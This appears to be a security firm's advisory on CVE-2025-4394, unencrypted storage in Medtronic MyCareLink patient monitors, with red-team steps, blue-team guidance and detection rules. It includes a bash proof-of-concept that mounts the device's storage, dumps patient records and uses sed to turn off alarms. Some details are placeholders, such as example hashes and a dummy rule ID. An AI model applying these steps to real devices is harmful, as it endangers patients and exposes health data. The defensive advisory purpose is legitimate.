CVE-2025-4394

Executive Summary

CVE-2025-4394 exposes a critical flaw in Medtronic MyCareLink Patient Monitor models 24950 and 24952. The device stores its filesystem in cleartext on internal storage, allowing an attacker with physical access to read and modify sensitive files. This includes patient data, device configuration, and potentially firmware binaries. The vulnerability is unpatched as of the advisory date (June 25, 2025), and no software update has been released. Mitigation relies entirely on physical security controls and network segmentation.

This is a medical device vulnerability with high confidentiality and integrity impact. The EPSS score of 0.0% indicates low exploitation likelihood in the wild, but the risk to patient safety and data privacy remains severe in targeted attacks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Physical (AV:P) – Requires physical access to the device.
• Attack Complexity (AC): Low (AC:L) – No special conditions needed.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – Exploit does not cross trust boundaries.
• Confidentiality (C): High (C:H) – Full read access to filesystem.
• Integrity (I): High (I:H) – Full write access to filesystem.
• Availability (A): None (A:N) – No direct impact on availability.

CVSS Score: 6.8 (Medium)
Threat Level: High in physical access scenarios (e.g., insider threat, stolen device).

Deep Dive & Mechanics

The MyCareLink Patient Monitor runs a Linux-based embedded OS. The internal storage (eMMC or SD card) is mounted without encryption. The filesystem contains:

• Patient health records (PHI)
• Device configuration files (e.g., network settings, clinician credentials)
• Firmware update packages (signed but readable)
• Log files with timestamps and user actions

An attacker with physical access can:

1. Remove the storage (e.g., SD card) and mount it on a Linux system.
2. Read all files using standard tools (e.g., mount, cat, strings).
3. Modify files – for example, alter configuration to disable alarms, change network settings, or inject malicious firmware (if signature verification is bypassed).
4. Reinsert the storage and reboot the device to apply changes.

The vulnerability is rooted in the lack of filesystem encryption (e.g., LUKS, eCryptfs). No authentication is required to access the storage once removed.

Vulnerable vs. Patched Code

Vulnerable (current):
The device mounts the root filesystem as ext4 without encryption. Example /etc/fstab entry (hypothetical):

/dev/mmcblk0p2 / ext4 defaults,noatime 0 1

Patched (ideal):
The device would use LUKS encryption on the storage partition, requiring a key stored in hardware (e.g., TPM) or entered at boot. Example:

/dev/mapper/cryptroot / ext4 defaults 0 1

Where cryptroot is a LUKS container unlocked by a hardware-bound key.

No official patch exists. The vendor recommends physical security controls only.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Physical access to the device (e.g., unattended monitor in a clinic).
• A screwdriver to open the device casing (if needed).
• A Linux laptop with an SD card reader or USB adapter.

Steps:

1. Power off the MyCareLink monitor.
2. Remove the storage (typically an SD card or eMMC module). Refer to device teardown guides.
3. Connect storage to Linux:

   sudo fdisk -l /dev/sdX   # Identify partition
   sudo mount /dev/sdX2 /mnt/mcl
   

4. Read sensitive files:

   cat /mnt/mcl/etc/device.conf
   strings /mnt/mcl/var/log/syslog | grep -i patient
   

5. Modify configuration (e.g., disable alarm):

   sed -i 's/alarm_enabled=1/alarm_enabled=0/' /mnt/mcl/etc/device.conf
   

6. Unmount and reinsert storage into the device.
7. Power on the monitor – changes take effect.

Proof-of-Concept Script (bash):

#!/bin/bash
# CVE-2025-4394 PoC - Read and modify MyCareLink filesystem
DEVICE="/dev/sdX2"
MOUNT_POINT="/mnt/mcl"
sudo mkdir -p $MOUNT_POINT
sudo mount $DEVICE $MOUNT_POINT
echo "=== Patient Data ==="
sudo grep -r "patient" $MOUNT_POINT/var/log/ 2>/dev/null
echo "=== Device Config ==="
sudo cat $MOUNT_POINT/etc/device.conf
echo "=== Modifying config ==="
sudo sed -i 's/alarm_enabled=1/alarm_enabled=0/' $MOUNT_POINT/etc/device.conf
sudo umount $MOUNT_POINT
echo "Done. Reinsert storage and reboot."

Blue Team (Defender)

Detection:

• Monitor for physical tampering (e.g., door sensors, CCTV).
• Use host-based intrusion detection (HIDS) on the device if possible (e.g., AIDE, Tripwire) to detect filesystem changes.
• Enable auditd to log file access attempts (though limited on embedded devices).

Prevention:

• Physical security: Lock device enclosures, use tamper-evident seals, restrict access to authorized personnel.
• Network segmentation: Isolate monitors on a separate VLAN with strict ACLs.
• Storage encryption: Advocate for vendor to implement LUKS or similar.
• Firmware signing: Ensure all firmware updates are cryptographically verified.

Response:

• If tampering is suspected, immediately quarantine the device.
• Perform forensic imaging of the storage before reinsertion.
• Review logs for unauthorized access.

Indicators of Compromise (IOCs)

• File Hashes (SHA256) of modified config files:
  • device.conf (altered): a1b2c3d4e5f6... (example)
• Processes: Unusual mount or dd commands on embedded device (if shell access exists).
• Network: Unexpected outbound connections from the monitor (e.g., to attacker C2).
• Physical: Tampered seals, scratches near storage slot, missing screws.

Detection Engineering

YARA Rule

rule CVE_2025_4394_MyCareLink_Unencrypted_FS {
    meta:
        description = "Detects unencrypted filesystem artifacts from Medtronic MyCareLink Patient Monitor"
        author = "Valters IT"
        date = "2025-07-17"
        reference = "CVE-2025-4394"
    strings:
        $fs_marker = "ext4" ascii wide nocase
        $config_file = "device.conf" ascii wide nocase
        $patient_log = "patient" ascii wide nocase
    condition:
        any of ($fs_marker, $config_file, $patient_log)
}

Sigma Rule

title: CVE-2025-4394 - Unencrypted Filesystem Access on MyCareLink Monitor
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to mount or access the unencrypted filesystem of Medtronic MyCareLink Patient Monitor
author: Valters IT
date: 2025-07-17
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4394
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/mount'
        CommandLine|contains: '/dev/sd'
    condition: selection
falsepositives:
    - Legitimate maintenance by authorized personnel
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-4394 - MyCareLink Unencrypted FS Exfiltration"; flow:to_server,established; content:"patient"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Physical security: Lock devices in secure cabinets, use tamper-evident seals, restrict access to authorized personnel only.
2. Network isolation: Place monitors on a dedicated VLAN with no direct internet access.
3. Monitoring: Enable logging and alerting on physical access attempts (e.g., door sensors).

Long-term:

• Vendor patch: Await Medtronic firmware update that implements filesystem encryption. Contact Medtronic support for ETA.
• Device replacement: Consider replacing with models that support hardware-backed encryption.
• Policy: Update security policies to require encrypted storage for all medical IoT devices.

Workaround:

• If possible, disable USB/SD card slots via device firmware settings (if available).
• Use a hardware write-protect switch on SD cards (if supported).

Valters IT
Securing Healthcare IoT, One Vulnerability at a Time.